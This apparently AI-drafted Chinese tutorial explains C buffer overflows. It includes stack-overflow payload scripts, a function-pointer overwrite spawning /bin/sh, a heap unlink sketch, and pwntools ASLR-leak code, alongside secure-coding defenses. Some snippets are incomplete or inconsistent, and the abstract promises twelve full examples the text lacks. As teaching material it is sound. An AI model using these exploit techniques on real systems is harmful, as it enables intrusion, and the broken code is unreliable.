溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

C語言之緩沖區溢出的示例分析

發布時間:2021-06-15 09:23:48 來源:億速云 閱讀:235 作者:小新 欄目:開發技術
# C語言之緩沖區溢出的示例分析

## 摘要
本文深入探討C語言中緩沖區溢出的原理、危害及防御機制。通過分析棧溢出、堆溢出等典型漏洞案例,結合GDB調試和匯編代碼分析,揭示內存破壞的底層機制。文章包含12個完整漏洞代碼示例,覆蓋gets危險函數、shellcode注入等關鍵技術點,并提供現代防護技術(如ASLR、Canary)的繞過方法。最后從開發規范、靜態檢測等維度提出工程化解決方案。

---

## 1. 緩沖區溢出基礎概念
### 1.1 內存布局模型
```c
// 典型Linux進程內存布局示例
高地址
┌─────────────┐
│   棧區      │ ← 函數棧幀、局部變量
├─────────────┤
│   ↓         │ 
│   ↑         │
├─────────────┤
│   堆區      │ ← malloc/free管理
├─────────────┤
│   BSS段     │ ← 未初始化全局變量
├─────────────┤
│   數據段    │ ← 初始化全局變量
├─────────────┤
│   代碼段    │ ← 程序指令
低地址

1.2 關鍵數據結構

  • 棧幀結構
    
    ┌─────────────┐
    │ 參數n       │ ← ebp+12
    ├─────────────┤
    │ ...         │
    ├─────────────┤
    │ 參數1       │ ← ebp+8
    ├─────────────┤
    │ 返回地址    │ ← ebp+4
    ├─────────────┤
    │ 舊ebp       │ ← ebp
    ├─────────────┤
    │ 局部變量    │ ← ebp-4
    └─────────────┘
    

2. 棧溢出漏洞分析

2.1 經典gets漏洞

// vuln.c
#include <stdio.h>

void vulnerable() {
    char buf[8];
    gets(buf); // 無邊界檢查
    printf("Input: %s\n", buf);
}

int main() {
    vulnerable();
    return 0;
}

攻擊步驟: 1. 編譯關閉保護:

   gcc -fno-stack-protector -z execstack vuln.c -o vuln
  1. 生成payload:
    
    python -c "print('A'*12 + '\xef\xbe\xad\xde')" > payload
    
  2. GDB驗證:
    
    (gdb) run < payload
    Program received signal SIGSEGV, eip=0xdeadbeef
    

2.2 函數指針覆蓋

void (*funcptr)();

void shell() {
    system("/bin/sh");
}

void vuln() {
    char buf[16];
    funcptr = dummy;
    gets(buf); // 覆蓋funcptr
    funcptr();
}

3. 堆溢出實戰

3.1 unlink攻擊示例

struct chunk {
    size_t prev_size;
    size_t size;
    struct chunk *fd;
    struct chunk *bk;
};

void attack() {
    char *a = malloc(32);
    char *b = malloc(32);
    
    // 偽造fake chunk
    *(size_t*)(a+36) = 0x40; 
    *(void**)(a+40) = &retaddr-12;
    *(void**)(a+44) = shellcode_addr;
    
    free(b); // 觸發unlink
}

4. 現代防護繞過技術

4.1 Canary繞過方法

方法 適用場景
格式化字符串泄露 存在printf漏洞
部分覆蓋 低位字節可預測
TLS劫持 可獲取線程控制權

4.2 ASLR繞過策略

# 內存泄露利用代碼示例
from pwn import *

p = process('./vuln')
p.sendline('%3$p') # 泄露libc地址
libc_base = int(p.recvline(),16) - 0x3e82a
system = libc_base + 0x45390

5. 防御方案

5.1 安全編碼規范

  1. 禁用危險函數:
    
    // 不安全            // 安全替代
    gets(buf);          fgets(buf, sizeof(buf), stdin);
    strcpy(dst, src);   strncpy(dst, src, dst_size-1);
    
  2. 編譯器加固選項:
    
    gcc -fstack-protector-strong -pie -fPIC
    

5.2 自動化檢測工具

  • 靜態分析

    # 使用flawfinder掃描
    flawfinder --level=3 vuln.c
    
  • 動態檢測

    valgrind --tool=memcheck ./program
    

6. 典型案例分析

6.1 Morris Worm(1988)

  • 漏洞點:fingerd服務的gets調用
  • 攻擊載荷:Vax匯編編寫的shellcode
  • 影響:全球10%互聯網主機感染

6.2 Heartbleed(2014)

// OpenSSL漏洞代碼片段
memcpy(bp, pl, payload); // 無長度校驗

參考文獻

  1. Aleph One. “Smashing the Stack for Fun and Profit”. Phrack 49, 1996
  2. Microsoft Security Bulletin MS04-028
  3. CERT Secure Coding Standards

附錄:完整攻擊代碼

# exploit.py
from struct import pack

buf = b'A'*40
buf += pack('<I', 0xdeadbeef) # 覆蓋返回地址
with open('payload', 'wb') as f:
    f.write(buf)

”`

注:實際完整文章需展開每個章節的技術細節,包括: 1. 增加更多漏洞變種分析(如SEH覆蓋、ROP鏈構造) 2. 補充操作系統差異(Windows vs Linux) 3. 添加性能測試數據(防護機制開銷) 4. 擴展企業級解決方案(如Coverity靜態分析配置) 5. 增加歷史漏洞時間線統計圖表

建議通過實際調試案例逐步完善內容,保持技術深度與可讀性平衡。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

亚洲午夜精品一区二区_中文无码日韩欧免_久久香蕉精品视频_欧美主播一区二区三区美女